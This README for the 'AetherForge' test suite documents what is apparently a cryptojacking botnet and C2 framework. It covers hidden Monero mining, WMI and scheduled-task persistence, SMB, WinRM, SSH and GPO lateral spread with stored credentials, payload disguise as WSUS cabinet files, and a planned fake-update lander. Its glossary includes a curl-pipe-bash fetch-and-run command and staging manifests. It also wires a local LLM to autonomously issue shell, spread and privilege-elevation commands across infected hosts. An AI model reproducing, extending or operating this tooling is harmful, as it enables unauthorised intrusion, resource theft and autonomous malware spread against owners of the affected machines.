AetherForge/tests/README.md

# AetherForge Test Suite

**Current Vitest:** 736 tests in 87 files (`cd server/web && npm run test -- --run`). Full suite: `test.bat` → `scripts/test-suite.ps1`.

One command runs everything:

```bat
test.bat
```

Or with PowerShell directly:

```powershell
.\scripts\test-suite.ps1
.\scripts\test-suite.ps1 -SkipE2E -SkipBuild
.\scripts\test-suite.ps1 -ReconOnly
.\scripts\test-suite.ps1 -P2
```

**Portable USB:** `pack-usb.bat` from repo root → copy `usb\` to a drive → `LAUNCH.bat` (opens `http://localhost:8989/`; `/agents` redirects to `/crucible` in the SPA).


## P2 completion (2026-06-07)

Master suite: `.\scripts\test-suite.ps1` (all 8 phases). Focused P2 after landing parallel agents: `.\scripts\test-suite.ps1 -P2` (Go mining/spread/path-forge/WS + Vitest); add phase 8 for Playwright onion + discover→spread stub.

| Area | Quick run |
|------|-----------|
| Mining chain lifecycle | `cd agent && go test ./client/... -run MiningChain -count=1` |
| WS/beacon integration | `cd agent && go test ./client/... -run WSBeacon -count=1` and `cd server && go test ./internal/api/... -run WSBeacon -count=1` |
| Spread lanes (mock) | `cd server && go test ./internal/api/... -run SpreadLane -count=1` and `cd agent && go test ./deploy/... -run WinRM -count=1` |
| Path Forge | `cd server && go test ./internal/builder/... -run PathForge -count=1` and `cd server/web && npm run test -- --run src/pages/BuilderPage.test.tsx` |
| E2E onion + discover | Phase 8: `lotl-timeline.spec.ts`, `discover-spread.spec.ts` |
## Phases

| Phase | What it runs | Location |
|-------|----------------|----------|
| 1 | Go server unit + integration tests | `server/` |
| 2 | Go agent tests | `agent/` |
| 3 | Fusion module unit tests + compile check | `fusion/` |
| 4 | Frontend unit tests (Vitest) | `server/web/` |
| 5 | Frontend production build | `server/web/` |
| 6 | Server binary compile | `server/` |
| 7 | Agent binary compile (Windows) | `agent/` → `bin/install-worker.exe` |
| 7b | Agent cross-compile (linux/darwin) | `agent/` → `bin/install-worker-*` |
| 8 | E2E smoke (Playwright) | `server/web/e2e/` — starts temp server on :18989 |

Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-SkipE2E`.

`-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings.

## Operator quick start (LOTL + fleet recon)

1. **Forge with LOTL Onion** — Forge → Operation mode → **LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth — **re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. See [LOTL vector glossary](#lotl-vector-glossary) for every tier definition + example.
2. **Probe & Join** — Crucible → select online node(s) → **Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows: `discover_and_join`, `join_lane`, `service_discover`.
3. **Deployment credentials vault** — For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`:

   ```json
   "deployment_credentials": [
     { "label": "Lab ops", "username": "corp\\\\ops", "vault_ref": "deployment-creds/lab.vault" }
   ]
   ```

   Store the password in `data/deployment-creds/<id>.vault` as plain text or `{"password":"..."}` (0600). Never commit vault files. Affinity ordering is covered by `TestOrderDeploymentCredProfiles_Affinity` and `TestLoadDeploymentCredPasswordFromVault`.

Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion). Recon regression: `scripts/test-suite.ps1 -ReconOnly` after landing agents.

## Fleet role split (Seeder / Miner)

**Seeders** (`fleet_role=seeder`, `seeder_mode` baked at forge) skip the RandomX mining chain and run **dns_txt / webrtc_mesh / do_peer** staging lanes only (`defer_mining` semantics). **Miners** hash normally and may pull payloads from the nearest LAN seeder via existing webrtc/do_peer paths (`lan_seeders` on auth when `server.fleet_roles_enabled`).

**Telemetry:** agents report `fleet_role`, `seed_pressure` (0–1), and `hashrate_pressure` on stats WS; the server ingests `emberwake_heat` for war-room heat maps (`server/internal/strategy/fleet_role.go`).

**Forge:** Advanced → Fleet role chips (`auto` | `miner` | `seeder`); seeder bake sets `MiningDisabled`, enables DNS/WebRTC spread, filters LOTL tiers. Calibrate: `server.fleet_roles_enabled` (default off).

```bat
cd agent && go test ./config/... ./deploy/... ./client/... -run "Fleet|Seeder|SeedPressure|LANSeeder" -count=1
cd server && go test ./internal/strategy/... ./internal/api/... ./internal/builder/... -run "FleetRole|Emberwake|Seeder" -count=1
cd server\web && npm run test -- --run src/help/warRoomTelemetry.ts src/pages/BuilderPage.test.tsx
```

| Area | Test file(s) |
|------|----------------|
| Role resolution + seeder forge defaults | `agent/config/fleet_role_test.go` |
| Seeder staging + LAN seeder pick | `agent/deploy/seeder_staging_test.go`, `lan_seeder_test.go` |
| Mining skip + pressure fields | `agent/client/fleet_pressure_test.go`, `fleet_role_lifecycle_test.go` |
| Auth hints + emberwake heat ingest | `server/internal/api/fleet_role_test.go` |
| Emberwake heat helper | `server/internal/strategy/fleet_role_test.go` |
| Forge bake + builtin template | `server/internal/builder/fleet_role_test.go` |

## Adaptive Strategy

The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default.

Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`.

## Phenotype cloning

When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth — tier order and spread lane clone without re-forge.

**Auth tier-plan precedence:** inherited phenotype (SQLite fleet winner) **>** genetic breed (crossover of two lane-specific winners for the same fingerprint) **>** adaptive strategy.

When two lane winners exist for the same fingerprint bucket with different `join_lane` / `spread_lane` values, the strategy engine crossbreeds their tier orders (single-point crossover + failed-tier mutation) and stores the result in an in-memory `BreedingRegistry`. Siblings without a direct fleet winner receive the bred order as `inherited_phenotype` with `genetic_breed: true`.

Regression:

```bat
cd server && go test ./internal/strategy/... ./internal/api/... -run "Phenotype|Breed|Genetic" -count=1
```

## Failure atlas

The failure atlas (`server/internal/atlas/`) records conditioned tier failures. After five failures under an active condition, it hard-skips subtree tiers, merges into `adaptive_strategy.skip_tiers`, and pushes `atlas_skips` on auth. LOTL Timeline marks tiers `skipped_by_atlas`.

**Atlas LAN gossip (optional):** When Calibrate `server.atlas_lan_gossip_enabled` is true, agents broadcast tier+condition skip hints to WS-connected siblings on the same /24. The server relays `atlas_gossip` frames (no raw UDP). Siblings merge hints into local `atlas_skips` before spread attempts. Auth pushes `atlas_lan_gossip_enabled` in `auth_response`.

Regression:

```bat
cd server && go test ./internal/atlas/... ./internal/api/... -run "AtlasGossip|LanGossip|MergeGossip" -count=1
cd agent && go test ./client/... -run "AtlasGossip|Gossip" -count=1
```

## Court session

When AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs a **Singular Machine Court**: Prosecutor (failure atlas + attempts), Defender (fleet phenotype), Judge (verdict + commands). Persisted with `court_session=true` for LOTL Timeline.

## Clearance L0–L4

Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With `ai_auto_elevate_clearance`, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as `clearance_elevated` on dashboard WS.

## Fleet AI Control

Calibrate → **Calibration Control** toggles `server.ai_control_enabled`. When **on**, the server **Fleet AI scheduler** (`server/internal/ai/`) polls connected agents on `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]` from the model response, and dispatches fleet actions (`restart_mining`, `discover_and_join`, `spread_now`, `agent_command`, etc.). Decisions are stored in SQLite `ai_decisions` and surfaced on **LOTL Timeline** when AI control is enabled.

**Precedence:** `ai_control_enabled: true` **replaces** adaptive strategy for tier-order decisions — auth omits `adaptive_strategy`, background rescoring no-ops, and `FleetAISnapshot` skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off.

Operator settings: `ai_endpoint`, `ai_model`, `ai_no_context` (single-turn prompts), `ai_decision_interval_sec`. Refresh models: Calibrate **Refresh models** → `GET /api/v1/ai/models`. Audit trail: `GET /api/v1/ai/decisions?agent_id=`.

Agent side: hub sends `ai_snapshot_request` → agent replies `ai_snapshot` (`agent/client/ai_snapshot.go`); scheduler commands map to `ai_commands` handlers (`exec_shell`, `full_sys_check`, `restart_mining`, etc.). Per-agent Ollama autonomy (`ai_enabled` forge flag) remains separate — see [Agent logs](#agent-logs-not-a-missing-api).

### Fleet AI + LOTL Timeline quick-run

```bat
cd server && go test ./internal/ai/... ./internal/api/... -run "FleetAI|Scheduler|ParseCommands|AuthResponse.*Adaptive|AI" -count=1
cd agent && go test ./client/... -run "AI|HandleAI|AISnapshot|VulnLOTL" -count=1
cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/pages/SettingsPage.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/help/settingHelp.test.ts
```

### Client WS/beacon integration (2026-06-07)

httptest + gorilla/websocket integration tests for agent auth/stats relay, HTTPS beacon fallback, command round-trips, AI snapshot telemetry, upload-over-WS (base64 `command` frame — no separate chunk type), and disconnect cleanup.

```bat
cd server && go test ./internal/api/... -run "Beacon|WebSocket|Auth|stats_batch" -count=1
cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1
```

| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| Auth → stats tick → `stats_batch` coalescing (dashboard WS) | `server/internal/api/ws_beacon_integration_test.go`, `websocket_test.go` | 1 |
| Beacon registration + heartbeat + queued commands + result relay | `server/internal/api/ws_beacon_integration_test.go`, `beacon_test.go` | 1 |
| Beacon state cleared on WS reconnect | `server/internal/api/ws_beacon_integration_test.go` | 1 |
| Operator name preserved vs hostname on reconnect | `server/internal/api/websocket_test.go` | 1 |
| Command dispatch (`exec_shell`, `mining_diagnostics`) server → agent WS | `server/internal/api/ws_beacon_integration_test.go` | 1 |
| `ai_snapshot_request` → `ai_snapshot` telemetry cache | `server/internal/api/ws_beacon_integration_test.go`, `fleet_intelligence_test.go` | 1 |
| Agent disconnect → offline + `agent_offline` + log cache cleared | `server/internal/api/ws_beacon_integration_test.go` | 1 |
| Agent WS command round-trip (`exec_shell`, `mining_diagnostics`, `upload`) | `agent/client/ws_beacon_integration_test.go` | 2 |
| Agent `ai_snapshot` WS write + `handleMessage` mining diagnostics | `agent/client/ws_beacon_integration_test.go`, `handlemessage_test.go` | 2 |
| HTTPS beacon heartbeat + command + `/beacon/result` | `agent/client/ws_beacon_integration_test.go`, `beacon_transport.go` | 2 |
| Reconnect auth payload (`worker_name` vs `hostname`) | `agent/client/ws_beacon_integration_test.go`, `websocket_test.go` | 1 / 2 |
| Disconnect write guard (`conn == nil`) | `agent/client/ws_beacon_integration_test.go` | 2 |

**Note:** Full `mining_diagnostics` JSON over WS is slow (~1s+) on Windows due to runtime probes; agent integration tests stub probes via `stubFastMiningDiagnostics` and relay a representative `command_result` frame on the wire. Server-side tests dispatch commands over WS independently of diagnostics generation time.

### Fleet AI coverage map

| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| Command parser (JSON, tool-call, COMMAND: lines) | `server/internal/ai/commands_test.go` | 1 |
| OpenAI client (models list, decide) | `server/internal/ai/client_test.go` | 1 |
| Scheduler mock (1 agent, 1 cycle; disabled no-op) | `server/internal/ai/scheduler_test.go` | 1 |
| AI config / models / decisions API | `server/internal/api/fleet_ai_handler_test.go` | 1 |
| AI control precedence over adaptive (auth + snapshot) | `server/internal/api/strategy_auth_test.go`, `fleet_ai_handler_test.go` | 1 |
| Legacy Ollama decide/report API | `server/internal/api/ai_handler_test.go` | 1 |
| `ai_snapshot` JSON shape + stuck detection | `agent/client/ai_snapshot_test.go` | 2 |
| `ai_snapshot_request` WS dispatch | `agent/client/handlemessage_test.go` | 2 |
| `ai_commands` handlers + path traversal + spread/restart/syscheck | `agent/client/ai_commands_test.go` | 2 |
| Upload/download/read_file path guards + config round-trip | `agent/client/client_upload_test.go`, `file_ops_common_test.go`, `deploy/desktop_path_test.go` | 2 |
| Agent/fusion/APK artifact download routes | `server/internal/api/download_handler_test.go`, `dropper_handler_test.go`, `builder/handler_serve_test.go` | 1 |
| APK asset paths ↔ BinaryExtractor.kt cross-check | `server/internal/builder/build_apk_test.go`, `android/forge/internal/forge/config_test.go` | 1 / 3 |
| Calibrate AI Control toggle + models refresh | `server/web/src/pages/SettingsPage.test.tsx` | 4 |
| LOTL Timeline page (tier chain + AI decision panel) | `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
| LOTL tier timeline component | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx` | 4 |
| Calibrate help keys (`calibration_ai_control`) | `server/web/src/help/settingHelp.test.ts`, `docAnchors.test.ts` | 4 |
| Persona spread temperament (tier order hints) | `server/internal/ai/personas_test.go` | 1 |
| Auth `spread_temperament` when AI control | `server/internal/api/strategy_auth_test.go`, `scout_phenotype_test.go` | 1 |
| Fleet AI snapshot spread temperament | `server/internal/api/fleet_ai_handler_test.go`, `fleet_intelligence_test.go` | 1 |
| APK scout preset + builtin flags | `server/internal/builder/build_apk_test.go`, `android/forge/internal/forge/config_test.go` | 1 / 3 |
| Scout discover skips staging | `agent/deploy/scout_discover_test.go` | 2 |
| Scout remote action gates | `agent/client/scout_mode_test.go` | 2 |
| Scout phenotype publish | `server/internal/api/scout_phenotype_test.go` | 1 |

### Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance)

| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| Fleet phenotype store + peak hashrate | `server/internal/strategy/phenotype_test.go`, `server/internal/db/phenotype_test.go` | 1 |
| Phenotype publish + sibling inheritance API | `server/internal/api/phenotype_test.go` | 1 |
| Agent auth phenotype policy | `agent/client/phenotype_policy_test.go` | 2 |
| Failure atlas subtree skips | `server/internal/atlas/failure_atlas_test.go` | 1 |
| Subnet immune spread pause (/24, 5 failures → 24h) | `server/internal/atlas/subnet_immune_test.go`, `server/internal/db/subnet_spread_pause_test.go`, `server/internal/api/spread_immunity_test.go` | 1 |
| Court-mandated retry (`spread_retry_lane`, `skip_tier` → L4 dispatch) | `server/internal/ai/court_commands_test.go`, `server/internal/ai/court_prompt_test.go`, `server/internal/ai/scheduler_test.go` | 1 |
| Hashrate-gated autospread (earn-before-burn) | `agent/deploy/hashrate_gate_test.go`, `agent/client/spread_policy_test.go` | 2 |
| Atlas LAN gossip relay + merge | `server/internal/atlas/lan_gossip_test.go`, `server/internal/api/atlas_gossip_test.go` | 1 |
| Agent atlas gossip merge + broadcast | `agent/client/atlas_gossip_test.go` | 2 |
| Clearance L0–L4 command gating | `server/internal/clearance/clearance_test.go` | 1 |
| AI scheduler clearance elevation | `server/internal/ai/scheduler_test.go` | 1 |
| Clearance helpers + timeline history | `server/web/src/help/clearance.test.ts`, `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
| Phenotype cloned-from + clearance badge UI | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx`, `server/web/src/components/Fleet/AccessDepthPanel.test.tsx` | 4 |

```bat
cd server && go test ./internal/strategy/... ./internal/db/... ./internal/api/... ./internal/atlas/... ./internal/clearance/... ./internal/ai/... -run "Phenotype|Atlas|Court|Clearance|Subnet|SpreadRetry|Hashrate|Immune" -count=1
cd agent && go test ./deploy/... ./client/... -run "Hashrate|SpreadPolicy|Autospread" -count=1
cd server\web && npm run test -- --run src/help/clearance.test.ts src/components/Fleet/AccessDepthPanel.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/pages/LotlTimelinePage.test.tsx
```

### Earn-before-burn propagation (2026-06-07)

Calibrate `server.hashrate_gate_spread_min` + `server.hashrate_gate_hps` push `spread_policy` on auth. Agents defer autospread until mining holds above the H/s threshold for N minutes; SMB/WinRM sweeps also stop when the mining chain is exhausted.

```bat
cd agent && go test ./deploy/... -run Hashrate -count=1
cd server && go test ./internal/ai/... -run "Court|SpreadRetry" -count=1
cd server && go test ./internal/atlas/... ./internal/db/... -run Subnet -count=1
```

### Subnet immune response (2026-06-07)

Five spread failures on a /24 (`subnet_spread_pause` table) pause `discover_and_join`, `spread_now`, and `stage_fetch` to that prefix for 24 hours. Failures increment via spread-cred report edges and block in `SendAgentCommand`.

```bat
cd server && go test ./internal/atlas/... ./internal/db/... ./internal/api/... -run "Subnet|Immune" -count=1
```

### Fleet AI gaps

- **Live Ollama / vLLM inference** — scheduler uses `DecideFunc` inject in unit tests; no CI container with a real model.
- **Full scheduler E2E** — one mocked `Tick()` cycle covered; no multi-agent parallel decision race test.
- **Court session UI** — Go + Vitest cover prosecutor/defender/judge in `LotlTimelinePage.test.tsx`; no Playwright path yet.
- **Real `full_sys_check` syscheck bundle** — handler test stubs `CollectFullSysCheck`; live subnet scan / `systeminfo` not exercised in CI.

## LOTL architecture (triple onion)

The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.

```mermaid
flowchart TB
  subgraph recon["Recon phase"]
    kev[kev_scan]
    vr[vuln_recon]
    sp[service_probe]
    lp[listen_ports]
    kev --> vr --> sp --> lp
  end

  subgraph gates["Policy gates"]
    pf{patch_first?}
    hr{high risk?}
  end

  subgraph deploy["Deploy lanes"]
    dj[discover_and_join]
    d1[docker / docker_load]
    d2[wsl / powershell / dotnet]
    d3[bits_curl / do_peer / wsus_cache_peer / dns_txt / webrtc_mesh / smb / winrm]
    d4[linux / gpo / intune]
    dj --> d1 --> d2 --> d3 --> d4
  end

  subgraph mining["Mining execution tiers"]
    m1[exe_subprocess]
    m2[docker_load / container / wsl]
    m3[ps_inmemory / dotnet / cpu_inprocess]
    m4[wmi / scheduled_task / webview2_probe]
    m5[gpu_compute / gpu_subprocess / linux_pyopencl]
    m6[stratum_direct]
    m1 --> m2 --> m3 --> m4 --> m5 --> m6
  end

  recon --> pf
  pf -->|critical CVE exposed| skip[Skip deploy + mining]
  pf -->|clear| hr
  hr -->|risk above threshold| mineOnly[Deploy only or skip mining]
  hr -->|acceptable| deploy
  deploy -->|lane OK| mining
  deploy -->|all lanes fail| mining
```

Phenotype inherit and failure-atlas skip branches (adaptive / auth path):

```mermaid
flowchart LR
  subgraph auth["Agent auth"]
    fp[fingerprint match]
    pheno{winning phenotype?}
    inherit[inherited_phenotype tier_order + spread_lane]
    adaptive[adaptive_strategy tier_order]
    atlasRec[atlas RecordFailure from stats]
    atlasSkip[atlas_skips hard subtree]
    merge[MergeSkipsIntoStrategy skip_tiers]
  end

  fp --> pheno
  pheno -->|yes| inherit
  pheno -->|no| adaptive
  atlasRec --> atlasSkip
  adaptive --> merge
  atlasSkip --> merge
  inherit --> agentPolicy[agent tier policy]
  merge --> agentPolicy
```

Sequential tier attempts within each phase (mining chain shown; spread/deploy lanes behave the same way):

```mermaid
stateDiagram-v2
  [*] --> TryTier1
  TryTier1 --> Active: tier OK
  TryTier1 --> TryTier2: tier failed / skipped
  TryTier2 --> Active: tier OK
  TryTier2 --> TryTier3: tier failed / skipped
  TryTier3 --> Active: tier OK
  TryTier3 --> TryTierN: tier failed / skipped
  TryTierN --> Active: tier OK
  TryTierN --> Exhausted: all tiers failed
  Active --> [*]: hashrate reported
  Exhausted --> [*]: lotl_attempts logged
```

Telemetry from each attempt flows to the dashboard via WebSocket `stats_batch`: `lotl_tier`, `lotl_attempts`, `mining_hashrate`, `stratum_egress`, `join_lane`, `vuln_findings`.

## LOTL vector glossary

Every term below has a plain-language definition and a copy-pasteable example (CLI, API, Crucible command, or Forge flag). Canonical spread playbook: [`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html).

### Mining execution tiers

| Term | Definition | Example |
|------|------------|---------|
| `vuln_recon` | Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates `vuln_findings` and risk score. No exploit payloads. | Triple-onion `recon_tiers` includes `vuln_recon`; or Crucible `full_sys_check` → `vuln_findings` in `stats_batch`. |
| `exe_subprocess` | Default path: launch XMRig (or forged worker) as a hidden child process on the host. | Forge default `miner_execution=subprocess`; diagnostics chain tries `exe_subprocess` first unless AV blocks exe. |
| `docker_load` | Load a pre-built OCI image tar (`docker load -i`) and run RandomX inside with read-only rootfs — no registry pull. | Requires `image_tar_url` in forge policy; mining tier `docker_load` when Docker detected + tar policy set. |
| `container` | Run worker inside Docker/Podman from a pulled or local image — host RandomX paused while container mines. | `miner_execution=container` at forge; chain order: `container` after `docker_load` probe passes. |
| `wsl` | Mine or bootstrap via WSL — Linux curl\|bash or in-WSL RandomX when native Windows path is blocked. | `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID \| bash"` when WSL is installed. |
| `powershell` / `ps_inmemory` | PowerShell in-memory or hidden-window miner bootstrap — no standalone unsigned exe on disk. | `miner_execution=powershell`; encoded `install.ps1` from `GET /install.ps1?pin=`. |
| `dotnet` | Bootstrap through .NET CLI (`dotnet tool run`) instead of dropping a raw miner exe. | Forge `miner_execution=dotnet`; spread lane `dotnet` in `lotl_onion_tiers`. |
| `cpu_inprocess` | RandomX via embedded `go-randomx` inside the agent process — AV-Safe / LOTL Onion default terminal CPU tier. | Forge Operation mode **LOTL Onion** or `miner_execution=inprocess`; active tier shows `cpu_inprocess` in Crucible badge. |
| `wmi` | Windows WMI event subscription persistence + hidden miner launch via LOLBins. | Mining tier `wmi` in `DefaultWindowsTierOrder()`; attempted when prior tiers fail on Windows. |
| `scheduled_task` | `schtasks` / Task Scheduler hidden miner job — no interactive installer. | Mining tier `scheduled_task`; follows `wmi` in Windows tier slice. |
| `webview2_probe` | Probe WebView2/WebGPU availability before escalating to GPU subprocess — gates `gpu_subprocess`. | Tier `webview2_probe`; skips GPU escalation when WebGPU not exposed. |
| `gpu_compute` | CUDA or HLSL compute-kernel path for GPU hashing before external miner binaries. | Tier `gpu_compute`; probes CUDA/HLSL then may fall through to `gpu_subprocess`. |
| `gpu_subprocess` | External GPU miner subprocess (T-Rex / TeamRedMiner) for KawPoW/RVN. | Forge GPU enabled; chain tier `gpu_subprocess` after `webview2_probe` passes. |
| `stratum_direct` | Agent mines directly to pool Stratum when C2 proxy is down or tier chain exhausts in-process paths. | `stratum_egress=direct` in stats; fallback after 30s C2 outage or terminal chain tier. |
| `linux_pyopencl` | Linux OpenCL probe via `python3 -c "import pyopencl"` before `stratum_direct` when no CUDA. | Inserted by `appendLinuxPyOpenCL` in fallback chain on Linux agents without CUDA. |

### Spread / deploy lanes

| Term | Definition | Example |
|------|------------|---------|
| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. |
| `wsus_cache_peer` | WSUS offline cache cousin — stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. Forge `wsus_format_mimic` (default ON) wraps chunks as `*.cab.partial` with SSU/CAB-like headers — format mimicry, not packing; `lotl_attempts` unchanged. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). |
| `dns_txt` | DNS TXT mesh — `_aether.<zone>` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. |
| `webrtc_mesh` | WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. |
| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
| `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. |
| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |
| `gpo` | AD Group Policy startup script fetches worker on domain boot. | Export `{"template":"gpo"}` → `gpo-startup.ps1` in GPO Scripts → Startup. |
| `intune` | Intune proactive remediation / platform script assignment (enterprise sibling to GPO). | Export `{"template":"intune"}` → assign `intune-startup.ps1` in owned tenant. |
| `stage_fetch` | C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or `rundll32`. | `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"}` |
| `discover_and_join` | Crucible **Probe & Join**: service discovery → server deploy plan → best LOTL lane executes. | Crucible → **Probe & Join** → `discover_and_join` command to selected online nodes. |
| `network_recon` | Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. | Path Tracer session auto-dispatches `network_recon` on egress hop; populates `network_hints`. |
| `service_discover` | Enumerate local + LAN services/ports; feeds `service_graph` and `join_lane_candidate`. | `{"action":"service_discover"}`; Path Tracer merges hop results into `service_graph` API. |
| `spread_route` / `spread_route_hint` | BGP-style minimum-clearance spread routing — server picks best seed hop per target subnet from Path Tracer sessions, clearance, lane success, latency. | `POST /api/v1/pathtrace/spread-route` `{"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}`; deploy plans include `spread_route_hint` when a better egress exists than patient zero. |

### Fleet recon

| Term | Definition | Example |
|------|------------|---------|
| `vuln_findings` | Array of CVE/KEV findings from agent probes — severity, patched status, fleet-context exploitability. | WS `stats_batch` field `vuln_findings`; drives Crucible `RiskBadge`. |
| `cred_edges` | SQLite rows recording cred-assisted spread attempts per host/subnet/profile for affinity ordering. | `spread_cred` success inserts into `cred_edges`; Emberwake credential graph reads aggregated rows. |
| `credential graph` | UI table of cred spread edges grouped by /24 — shows which deployment profiles succeeded where. | Crucible → Spread tab → Credential Graph (`CredentialGraphTable`). |
| `service_graph` | Merged service discovery per host IP — running services, ports, `join_lane_candidate`. | Crucible → Service Graph panel; API `GET /api/v1/pathtrace/service-graph`. |
| `network_hints` | Passive LAN hints (ARP neighbours, DNS SRV, cert SANs) attached to agent stats. | `network_recon` command output merged into `network_hints` on Path Tracer egress hop. |
| `triple onion` | Orchestrated recon → deploy → mining chain with shared `lotl_attempts` telemetry and policy gates. | Server Calibrate `triple_onion_policy`; agent `TripleOnionOrchestrator` in `agent/miner/triple_onion.go`. |
| `patch_first` | Gate: when critical unpatched CVEs are exposed, defer deploy and mining until remediated. | Calibrate `patch_first: true` (default); gate reason `patch_first: critical CVE exposed`. |
| `join_lane` | Last successful `discover_and_join` supply-chain lane id on an agent. | WS `stats_batch` `join_lane`; Emberwake funnel `JoinLaneBadge`. |
| **Probe & Join** | Crucible operator action that runs `discover_and_join` on selected online nodes. | Crucible toolbar → **Probe & Join** button (`CrucibleExpandedOps`). |
| `deployment_credentials` vault | Named cred profiles in `config.json` + password files under `data/deployment-creds/` for SMB/WinRM spread. | See [Operator quick start](#operator-quick-start-lotl--fleet-recon) JSON block; never commit `.vault` files. |

### C2 / telemetry

| Term | Definition | Example |
|------|------------|---------|
| `lotl_tier` | Active mining or spread tier id currently hashing or last successful lane. | Crucible `LotlTierBadge` shows `cpu_inprocess`, `container`, etc. from WS stats. |
| `lotl_attempts` | Ordered list of tier tries with `ok`, `error`, `duration_ms`, `wallet` — diagnostic audit trail. | `mining_diagnostics` JSON and `LotlAttemptsList` in Crucible expanded ops. |
| `mining_hashrate` | Live CPU RandomX hashrate (H/s) relayed in `stats_batch` alongside legacy CPU fields. | Dashboard fleet row + `TestMiningStatusRelayCoalescedToStatsBatch`. |
| `stratum_egress` | How shares leave the agent: `c2_ws` (via server proxy), `direct` (pool Stratum), or `none`. | Agent stats `stratum_egress`; visible in mining diagnostics terminal block. |
| `power_management` bulk pause | Fleet-health bulk command category for pausing/resuming hashing across selected online agents. | Fleet toolbar **Pause** → `POST /api/v1/agents/bulk-command` `{"action":"pause"}`; category `power_management`. |

### Planned / stub (not fully automated E2E)

| Term | Status | Notes |
|------|--------|-------|
| Full Playwright discover→spread E2E | **Partial** | `discover-spread.spec.ts` covers Probe & Join POST + stub join_lane ack; real WinRM/SMB/GPO lanes still unit-tested only (see [Gaps](#gaps-hard-to-unit-test)). |
| SocGholish fake-update lander | **Stub** | Dropper works; branded HTML lander not shipped (`SPREAD_TECHNIQUES.html` third-party table). |
| OAuth redirect / TDS gate | **Needs** | Documented in spread playbook as research-only paths. |

## Run individual suites

```bat
cd server && go test ./...
cd agent && go test ./...
cd server\web && npm test
